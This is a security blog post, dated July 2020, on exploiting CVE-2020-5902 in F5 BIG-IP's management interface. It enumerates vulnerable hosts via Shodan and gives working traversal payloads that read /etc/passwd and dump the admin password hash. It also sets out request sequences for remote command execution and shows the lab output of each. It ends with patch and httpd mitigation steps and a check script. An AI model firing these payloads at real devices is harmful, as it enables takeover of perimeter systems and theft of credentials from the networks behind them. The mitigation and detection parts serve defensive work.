Exploiting CVE-2020-5902
BIG-IP Traffic Management User Interface (TMUI) RCE

CVE-2020-5902 is a perfect example of why administrative user interfaces should not be exposed to the internet. This is especially true when the device exposed is a perimeter device as the network behind the perimeter is compromised along with it.

So what exactly is this vulnerability that has everyone shitting bricks and why is it so bad?

Mikhail Klyuchnikov the researcher behind the vulnerability sums it up nicely:

By exploiting this vulnerability, a remote attacker with access to the BIG-IP configuration utility could, without authorization, perform remote code execution (RCE). The attacker can create or delete files, disable services, intercept information, run arbitrary system commands and Java code, completely compromise the system, and pursue further targets, such as the internal network. RCE in this case results from security flaws in multiple components, such as one that allows directory traversal exploitation. This is particularly dangerous for companies whose F5 BIG-IP web interface is listed on search engines such as Shodan. Fortunately, most companies using the product do not enable access to the interface from the internet

It seems that for most companies the management interface is not internet facing. Apparantly. Let’s take a look with Shodan and see what we can find:

shodan_search

Well we have 8443 possibly vulnerable targets. Considering the severity, ease of exploitation and available PoC’s in the wild this isn’t looking great.

Taking a look at one of the results we can see that Shodan has already added detection for the vulnerability:

shodan_vuln

Parsing out IP’s from our 1000 results and filtering on the vuln we are left with 605 IP’s:

shodan_parse

Digging into the PoC’s doing the rounds we can see that the exploit is essentially a directory traversal vulnerabity. RCE and LFI can be obtained with these two curl commands:

curl -v -k  'https://[IP]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
curl -v -k  'https://[IP]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

To test this locally the software can be downloaded from F5 after making an account and receiving a registration key or you could find a target within a bug bounty program (I wouldn’t bother submitting a report btw!). Steps for initial configuration can be found here.

Testing the exploit we can easily achieve LFI:

shain@osx CVE-2020-5902 % curl -v -k  'https://f5-home.lab/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

> GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
> Host: *.*.*.*
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Tue, 06 Jul 2020 10:13:41 GMT
< Server: Apache
< X-Frame-Options: SAMEORIGIN
< Strict-Transport-Security: max-age=16060400; includeSubDomains
< Set-Cookie: JSESSIONID=7C1DGC7DF1C67D295B12A4CE622E341C; Path=/tmui; Secure; HttpOnly
< Content-Type: text/html;charset=ISO-8859-1
< Content-Length: 1842
< Vary: Accept-Encoding
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Content-Security-Policy: default-src 'self'  'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data:  http://*.*.*.* http://*.*.*.*
<

* Connection #0 to host *.*.*.* left intact

The requested file is received as output in JSON format but is easily formatted:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
tmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin
admin:x:0:500:Admin User:/home/admin:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/local/pgsql/data:/sbin/nologin
f5_remoteuser:x:499:499:f5 remote user account:/home/f5_remoteuser:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
apache:x:48:48:Apache:/usr/local/www:/sbin/nologin
tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat:/sbin/nologin
mysql:x:98:98:MySQL server:/var/lib/mysql:/sbin/nologin
named:x:25:25:Named:/var/named:/bin/false
qemu:x:107:107:qemu user:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
sdm:x:498:495:sdmuser:/var/sdm:/bin/false
ntp:x:38:38::/etc/ntp:/sbin/nologin
syscheck:x:199:10::/:/sbin/nologin
restnoded:x:198:198::/:/sbin/nologin

To grab hashes we can use:

curl -v -k  'https://[IP]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Output:

{
  "error": "",
  "output": "auth user admin {\n    description \"Admin User\"\n    encrypted-password $6$bEhBobYGG3$zmQ.k2Yw4E3iOAJu1jDIrE.LClSUq6xdLyNTvgDy14FIeDsxdnwAxkxUlpSQ7F60Y3tzKsUAKz.2qRtPLa.dx1\n    partition Common\n    partition-access {\n        all-partitions {\n            role admin\n        }\n    }\n    shell tmsh\n}\n"
}

Searching online it seems RCE using Burp Suite is just as easy:

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/cmd
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list

RCE

From here on it would be trivial to obtain a reverse shell. So how can we mitigate against this attack? Well the easiest method would be to update to the corresponding updated version (fixed: 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4).

Otherwise the below patch adds a LocationMatch configuration element to httpd eliminating the vulnerability:

# patch the httpd configuration

url -u admin:[password] -k https://[IP Address]/mgmt/tm/sys/httpd -X PATCH -d '{"include":"\n <LocationMatch \\\".*\\\\.\\\\.;.*\\\">\n Redirect 404 /\n </LocationMatch>\n "}' -H content-type:application/json

# Save the system config

curl -k -u admin:[password] -H "Content-Type: application/json" -d '{"command":"save"}' https://[IP Address]/mgmt/tm/sys/config

# Restart httpd

curl -ksu admin:[password] -H "Content-Type: application/json" -X POST https://[IP Address]/mgmt/tm/sys/service -d '{"command":"restart","name":"httpd"}'

To check your own org for CVE-2020-5902 the following script can be used:

#!/bin/bash
curl --silent --insecure 'https://[ip]/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=Vulnerable' | \
grep -q Vulnerable && \
printf '\033[0;31mVulnerable\n' || \
printf '\033[0;32mNot Vulnerable\n'

Alternatively there is a working NSE script that can be found here. I noticed some of the ‘vulnerability scanner’ PoC’s were actually pulling down files so as usual read any code before running it and only against IP’s you own.

Update:

Rapid 7 have released a metasploit module available here.

******
Written by Shain Lakin on 06 July 2020